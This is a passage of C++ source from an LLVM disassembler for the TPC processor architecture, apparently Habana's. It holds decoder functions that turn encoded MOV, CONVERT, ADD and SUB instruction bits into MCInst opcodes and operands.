Polarity = (bool)fieldFromInstruction(insn, TPCII::SpuPolarityBit, 1);\n bool HasDimmask = false;\n\n // SRF <- SRF\n if (isSRF(Dest, true) && isSRF(SrcA, true)) {\n Inst.setOpcode(TPC::MOVssp);\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // SRF <- Imm\n } else if (isSRF(Dest, true) && isLongImmediate(SrcA)) {\n Inst.setOpcode(TPC::MOVsip);\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n\n // SRF <- short Imm\n } else if (isSRF(Dest, true) && isShortImmediate(SrcA)) {\n Inst.setOpcode(TPC::MOVsip);\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n\n // SPRF <- SRF\n } else if (isSPRF(Dest, true) && isSRF(SrcA, true)) {\n Inst.setOpcode(TPC::MOVpsp);\n if (DecodeSPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // SPRF <- Imm\n } else if (isSPRF(Dest, true) && isLongImmediate(SrcA)) {\n Inst.setOpcode(TPC::MOVpip);\n if (DecodeSPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n\n // SPRF <- Short Imm\n } else if (isSPRF(Dest, true) && isShortImmediate(SrcA)) {\n Inst.setOpcode(TPC::MOVpip);\n if (DecodeSPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n\n // SPRF <- SPRF\n } else if (isSPRF(Dest, true) && isSPRF(SrcA, true)) {\n Inst.setOpcode(TPC::MOVppp);\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // IRF <- SRF\n } else if (isIRF(Dest, true) && isSRF(SrcA, true) && (Switches & TPCII::SW_DIM_MASK_REG) == 0) {\n Inst.setOpcode(TPC::MOVIsp);\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(Switches >> 2));\n HasDimmask = true;\n\n // IRF <- Imm\n } else if (isIRF(Dest, true) && isLongImmediate(SrcA) && (Switches & TPCII::SW_DIM_MASK_REG) == 0) {\n Inst.setOpcode(TPC::MOVIip);\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n Inst.addOperand(MCOperand::createImm(Switches >> 2));\n HasDimmask = true;\n\n // IRF <- short Imm\n } else if (isIRF(Dest, true) && isShortImmediate(SrcA) && (Switches & TPCII::SW_DIM_MASK_REG) == 0) {\n Inst.setOpcode(TPC::MOVIip);\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n Inst.addOperand(MCOperand::createImm(Switches >> 2));\n HasDimmask = true;\n\n // IRF <- IRF\n } else if (isIRF(Dest, true) && isIRF(SrcA, true) && (Switches & TPCII::SW_DIM_MASK_REG) == 0) {\n Inst.setOpcode(TPC::MOVIsp);\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeIRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(Switches >> 2));\n HasDimmask = true;\n\n } else {\n return MCDisassembler::Fail;\n }\n\n if (!isADRF(SrcA, true) && !isADRF(Dest, true) && !isIRF(Dest, true) && !isSPRF(Dest, true)) {\n if (OpType > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType));\n }\n if (HasDimmask)\n Switches &= ~TPCII::SW_DIMMASK;\n Inst.addOperand(MCOperand::createImm(Switches));\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | Predicate;\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n return MCDisassembler::Success;\n}\n\n\nstatic MCDisassembler::DecodeStatus decodeMovVpu(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder) {\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::VpuSrcAStart, TPCII::VpuSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::VpuSrcBStart, TPCII::VpuSrcBSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::VpuDestStart, TPCII::VpuDestSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::VpuSwitches1Start, TPCII::VpuSwitches1Size);\n //Switches = Switches | (fieldFromInstruction(insn, TPCII::VpuSwitches2Start, TPCII::VpuSwitches2Size) <<3);\n auto OpType = static_cast<TPCII::OpType>(fieldFromInstruction(insn, TPCII::VpuOpTypeStart, TPCII::VpuOpTypeSize));\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::VpuPredicateStart, TPCII::VpuPredicateSize);\n bool IsVectorPredicate = (bool)fieldFromInstruction(insn, TPCII::VpuVectorPredBit, 1);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::VpuPolarityBit, 1);\n\n // VRF <- VRF\n if (isVRF(Dest) && isVRF(SrcA)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVvvm : TPC::MOVvvp);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail) { return MCDisassembler::Fail; }\n if (DecodeVRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail) { return MCDisassembler::Fail; }\n\n // VPRF <- VPRF\n } else if (isVPRF(Dest) && isVPRF(SrcA)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVmmm : TPC::MOVmmp);\n if (DecodeVPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeVRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // VPRF <- SPRF\n } else if (isVPRF(Dest) && isSPRF(SrcA, false)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVmpm : TPC::MOVmpp);\n if (DecodeVPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSPRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // VRF <- SRF\n } else if (isVRF(Dest) && isSRF(SrcA, false)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVvsm : TPC::MOVvsp);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType));\n\n // VRF <- Imm\n } else if (isVRF(Dest) && isLongImmediate(SrcA)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVvim : TPC::MOVvip);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (OpType > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n auto* Disasm = static_cast<const TPCDisassembler*>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n Inst.addOperand(MCOperand::createImm(OpType));\n\n // VRF <- short Imm\n } else if (isVRF(Dest) && isShortImmediate(SrcA)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVvim : TPC::MOVvip);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (OpType > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n Inst.addOperand(MCOperand::createImm(OpType));\n\n // VPRF <- SRF\n } else if (isVPRF(Dest) && isSRF(SrcA, false)) {\n if (SrcB == 8)\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVBmsm : TPC::MOVBmsp);\n else\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVmsm : TPC::MOVmsp);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (SrcB != 8)\n Inst.addOperand(MCOperand::createImm(SrcB));\n\n // VPRF <- long Imm\n } else if (isVPRF(Dest) && isLongImmediate(SrcA)) {\n if (SrcB == 8)\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVBmim : TPC::MOVBmip);\n else\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVmim : TPC::MOVmip);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n if (SrcB != 8)\n Inst.addOperand(MCOperand::createImm(SrcB));\n\n // VPRF <- short Imm\n } else if (isVPRF(Dest) && isShortImmediate(SrcA)) {\n if (SrcB == 8)\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVBmim : TPC::MOVBmip);\n else\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVmim : TPC::MOVmip);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (SrcB > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n if (SrcB != 8)\n Inst.addOperand(MCOperand::createImm(SrcB));\n } else {\n return MCDisassembler::Fail;\n }\n\n Inst.addOperand(MCOperand::createImm(Switches));\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | (IsVectorPredicate << 4) | Predicate;\n if (IsVectorPredicate) {\n if (decodeVPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n return MCDisassembler::Success;\n}\n\nstatic MCDisassembler::DecodeStatus\ndecodeConvertScalar(MCInst &Inst, uint64_t insn, uint64_t Address,\n const void *Decoder) {\n uint64_t SrcA =\n fieldFromInstruction(insn, TPCII::SpuSrcAStart, TPCII::SpuSrcASize);\n uint64_t SrcB =\n fieldFromInstruction(insn, TPCII::SpuSrcBStart, TPCII::SpuSrcBSize);\n uint64_t Dest =\n fieldFromInstruction(insn, TPCII::SpuDestStart, TPCII::SpuDestSize);\n uint64_t OpType =\n fieldFromInstruction(insn, TPCII::SpuOpTypeStart, TPCII::SpuOpTypeSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::SpuSwitchesStart,\n TPCII::SpuSwitchesSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::SpuPredicateStart,\n TPCII::SpuPredicateSize);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::SpuPolarityBit, 1);\n\n Inst.setOpcode(TPC::CONVERTssp);\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail) //0\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail) //1\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType)); // 2\n Inst.addOperand(MCOperand::createImm((Switches << 16) | (SrcB << 8))); // 3\n // income is not printed\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail) //4\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | Predicate; //5\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n return MCDisassembler::Success;\n}\n\nstatic MCDisassembler::DecodeStatus\ndecodeConvertIntScalar(MCInst &Inst, uint64_t insn, uint64_t Address, const void *Decoder) {\n uint64_t OpCode = fieldFromInstruction(insn, TPCII::SpuOpCodeStart, TPCII::SpuOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::SpuSrcAStart, TPCII::SpuSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::SpuSrcBStart, TPCII::SpuSrcBSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::SpuDestStart, TPCII::SpuDestSize);\n uint64_t OpType = fieldFromInstruction(insn, TPCII::SpuOpTypeStart, TPCII::SpuOpTypeSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::SpuSwitchesStart, TPCII::SpuSwitchesSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::SpuPredicateStart, TPCII::SpuPredicateSize);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::SpuPolarityBit, 1);\n\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n const FeatureBitset &Bits = Disasm->getSubtargetInfo().getFeatureBits();\n bool IsGoya = Bits[TPC::FeatureGoya];\n\n // Adjust instruction opcode.\n bool Src2IsImm = isLongImmediate(SrcB) || isShortImmediate(SrcB);\n if (OpCode == TPCII::spuCONVERT_INT32) {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT32sip : TPC::CONVERT_INT32ssp);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT32g2sip : TPC::CONVERT_INT32g2ssp);\n } else if (OpCode == TPCII::spuCONVERT_UINT32) {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT32sip : TPC::CONVERT_UINT32ssp);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT32g2sip : TPC::CONVERT_UINT32g2ssp);\n } else if (OpCode == TPCII::spuCONVERT_INT16) {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT16sip : TPC::CONVERT_INT16ssp);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT16g2sip : TPC::CONVERT_INT16g2ssp);\n } else if (OpCode == TPCII::spuCONVERT_UINT16) {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT16sip : TPC::CONVERT_UINT16ssp);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT16g2sip : TPC::CONVERT_UINT16g2ssp);\n } else {\n llvm_unreachable(\"Unexpected opcode\");\n }\n\n // Prepare switches.\n uint64_t SwitchesVal = 0;\n if (IsGoya) {\n // let OperandType{1-0} = sw{17-16}; // round wode\n SwitchesVal |= (OpType & 0x03) << 16;\n // let OperandType{2} = sw{19}; // destination type\n SwitchesVal |= (OpType & 0x04) << 17;\n // let Switches{1-0} = sw{1-0}; // LANE_SEL\n SwitchesVal |= (Switches & 0x03);\n } else {\n // let OperandType{2-0} = sw{18-16}; // round wode\n SwitchesVal |= (OpType & 0x07) << 16;\n // let OperandType{3} = sw{19}; // destination type\n SwitchesVal |= (OpType & 0x08) << 16;\n // let Switches{1-0} = sw{1-0}; // LANE_SEL\n // let Switches{2} = sw{2}; // NUM_LANES\n SwitchesVal |= (Switches & 0x07);\n }\n\n // Generate the instruction operands.\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (isLongImmediate(SrcB)) {\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n } else if (isShortImmediate(SrcB)) {\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcB)));\n } else {\n if (DecodeSRFRegisterClass(Inst, SrcB, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n Inst.addOperand(MCOperand::createImm(SwitchesVal));\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | Predicate;\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n return MCDisassembler::Success;\n}\n\n\nstatic MCDisassembler::DecodeStatus\ndecodeConvertIntVector(MCInst &Inst, uint64_t insn, uint64_t Address, const void *Decoder) {\n uint64_t OpCode = fieldFromInstruction(insn, TPCII::SpuOpCodeStart, TPCII::SpuOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::VpuSrcAStart, TPCII::VpuSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::VpuSrcBStart, TPCII::VpuSrcBSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::VpuDestStart, TPCII::VpuDestSize);\n uint64_t OpType = fieldFromInstruction(insn, TPCII::VpuOpTypeStart, TPCII::VpuOpTypeSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::VpuSwitches1Start, TPCII::VpuSwitches1Size);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::VpuPredicateStart, TPCII::VpuPredicateSize);\n bool IsVectorPredicate = (bool)fieldFromInstruction(insn, TPCII::VpuVectorPredBit, 1);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::VpuPolarityBit, 1);\n\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n const FeatureBitset &Bits = Disasm->getSubtargetInfo().getFeatureBits();\n bool IsGoya = Bits[TPC::FeatureGoya];\n\n // Adjust instruction opcode.\n bool Src2IsImm = isLongImmediate(SrcB) || isShortImmediate(SrcB);\n bool Src2IsScalar = isSRF(SrcB, false);\n if (OpCode == TPCII::vpuCONVERT_INT32) {\n if (IsVectorPredicate) {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT32vim :\n Src2IsScalar ? TPC::CONVERT_INT32vsm :\n TPC::CONVERT_INT32vvm);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT32g2vim :\n Src2IsScalar ? TPC::CONVERT_INT32g2vsm :\n TPC::CONVERT_INT32g2vvm);\n } else {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT32vip :\n Src2IsScalar ? TPC::CONVERT_INT32vsp :\n TPC::CONVERT_INT32vvp);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT32g2vip :\n Src2IsScalar ? TPC::CONVERT_INT32g2vsp :\n TPC::CONVERT_INT32g2vvp);\n }\n } else if (OpCode == TPCII::vpuCONVERT_UINT32) {\n if (IsVectorPredicate) {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT32vim :\n Src2IsScalar ? TPC::CONVERT_UINT32vsm :\n TPC::CONVERT_UINT32vvm);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT32g2vim :\n Src2IsScalar ? TPC::CONVERT_UINT32g2vsm :\n TPC::CONVERT_UINT32g2vvm);\n } else {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT32vip :\n Src2IsScalar ? TPC::CONVERT_UINT32vsp :\n TPC::CONVERT_UINT32vvp);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT32g2vip :\n Src2IsScalar ? TPC::CONVERT_UINT32g2vsp :\n TPC::CONVERT_UINT32g2vvp);\n }\n } else if (OpCode == TPCII::spuCONVERT_INT16) {\n if (IsVectorPredicate) {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT16vim :\n Src2IsScalar ? TPC::CONVERT_INT16vsm :\n TPC::CONVERT_INT16vvm);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT16g2vim :\n Src2IsScalar ? TPC::CONVERT_INT16g2vsm :\n TPC::CONVERT_INT16g2vvm);\n } else {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT16vip :\n Src2IsScalar ? TPC::CONVERT_INT16vsp :\n TPC::CONVERT_INT16vvp);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT16g2vip :\n Src2IsScalar ? TPC::CONVERT_INT16g2vsp :\n TPC::CONVERT_INT16g2vvp);\n }\n } else if (OpCode == TPCII::spuCONVERT_UINT16) {\n if (IsVectorPredicate) {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT16vim :\n Src2IsScalar ? TPC::CONVERT_UINT16vsm :\n TPC::CONVERT_UINT16vvm);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT16g2vim :\n Src2IsScalar ? TPC::CONVERT_UINT16g2vsm :\n TPC::CONVERT_UINT16g2vvm);\n } else {\n if (IsGoya)\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT16vip :\n Src2IsScalar ? TPC::CONVERT_UINT16vsp :\n TPC::CONVERT_UINT16vvp);\n else\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT16g2vip :\n Src2IsScalar ? TPC::CONVERT_UINT16g2vsp :\n TPC::CONVERT_UINT16g2vvp);\n }\n } else if (OpCode == TPCII::spuCONVERT_INT8) {\n if (IsVectorPredicate) {\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT8vim :\n Src2IsScalar ? TPC::CONVERT_INT8vsm :\n TPC::CONVERT_INT8vvm);\n } else {\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_INT8vip :\n Src2IsScalar ? TPC::CONVERT_INT8vsp :\n TPC::CONVERT_INT8vvp);\n }\n } else if (OpCode == TPCII::spuCONVERT_UINT8) {\n if (IsVectorPredicate) {\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT8vim :\n Src2IsScalar ? TPC::CONVERT_UINT8vsm :\n TPC::CONVERT_UINT8vvm);\n } else {\n Inst.setOpcode(Src2IsImm ? TPC::CONVERT_UINT8vip :\n Src2IsScalar ? TPC::CONVERT_UINT8vsp :\n TPC::CONVERT_UINT8vvp);\n }\n } else {\n llvm_unreachable(\"Unexpected opcode\");\n }\n\n // Prepare switches.\n uint64_t SwitchesVal = 0;\n if (IsGoya) {\n // let OperandType{1-0} = sw{17-16}; // round wode\n SwitchesVal |= (OpType & 0x03) << 16;\n // let OperandType{2} = sw{19}; // destination type\n SwitchesVal |= (OpType & 0x04) << 17;\n // let Switches{1-0} = sw{1-0}; // LANE_SEL\n SwitchesVal |= (Switches & 0x03);\n } else {\n // let OperandType{2-0} = sw{18-16}; // round wode\n SwitchesVal |= (OpType & 0x07) << 16;\n // let OperandType{3} = sw{19}; // destination type\n SwitchesVal |= (OpType & 0x08) << 16;\n // let Switches{1-0} = sw{1-0}; // LANE_SEL\n // let Switches{2} = sw{2}; // NUM_LANES\n SwitchesVal |= (Switches & 0x07);\n }\n\n // Generate the instruction operands.\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if(OpCode == TPCII::spuCONVERT_INT8 ||OpCode == TPCII::spuCONVERT_UINT8) {\n if (DecodeDRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (DecodeVRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n if (isLongImmediate(SrcB)) {\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n } else if (isShortImmediate(SrcB)) {\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcB)));\n } else {\n if (DecodeVRFRegisterClass(Inst, SrcB, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n Inst.addOperand(MCOperand::createImm(SwitchesVal));\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | (IsVectorPredicate << 4) | Predicate;\n if (IsVectorPredicate) {\n if (decodeVPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n\n return MCDisassembler::Success;\n}\n\n\nstatic MCDisassembler::DecodeStatus\ndecodeAdd(MCInst &Inst, uint64_t insn, uint64_t Address, const void *Decoder) {\n uint64_t OpCode = fieldFromInstruction(insn, TPCII::SpuOpCodeStart, TPCII::SpuOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::SpuSrcAStart, TPCII::SpuSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::SpuSrcBStart, TPCII::SpuSrcBSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::SpuDestStart, TPCII::SpuDestSize);\n uint64_t OpType = fieldFromInstruction(insn, TPCII::SpuOpTypeStart, TPCII::SpuOpTypeSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::SpuSwitchesStart, TPCII::SpuSwitchesSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::SpuPredicateStart, TPCII::SpuPredicateSize);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::SpuPolarityBit, 1);\n\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n (void)OpCode;\n assert(OpCode == TPCII::spuADD);\n\n // Adjust instruction opcode.\n if (!isIRF(Dest, true)) {\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcB, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (isLongImmediate(SrcB) || isShortImmediate(SrcB))\n Inst.setOpcode(TPC::ADDsip);\n else\n Inst.setOpcode(TPC::ADDssp);\n } else {\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (isLongImmediate(SrcA)) {\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n Inst.setOpcode(TPC::ADDiIp);\n } else if (isIRF(SrcA, true)) {\n if (DecodeIRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.setOpcode(TPC::ADDIIp);\n } else {\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.setOpcode(TPC::ADDsIp);\n }\n if (DecodeIRFRegisterClass(Inst, SrcB, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm((Switches >> 2) & 0x1f));\n Switches &= ~0x7c;\n }\n Inst.addOperand(MCOperand::createImm(OpType));\n Inst.addOperand(MCOperand::createImm(Switches));\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | Predicate;\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n return MCDisassembler::Success;\n}\n\n\nstatic MCDisassembler::DecodeStatus\ndecodeSub(MCInst &Inst, uint64_t insn, uint64_t Address, const void *Decoder) {\n uint64_t OpCode = fieldFromInstruction(insn, TPCII::SpuOpCodeStart, TPCII::SpuOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::SpuSrcAStart, TPCII::SpuSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::SpuSrcBStart, TPCII::SpuSrcBSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::SpuDestStart, TPCII::SpuDestSize);\n uint64_t OpType = fieldFromInstruction(insn, TPCII::SpuOpTypeStart, TPCII::SpuOpTypeSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::SpuSwitchesStart, 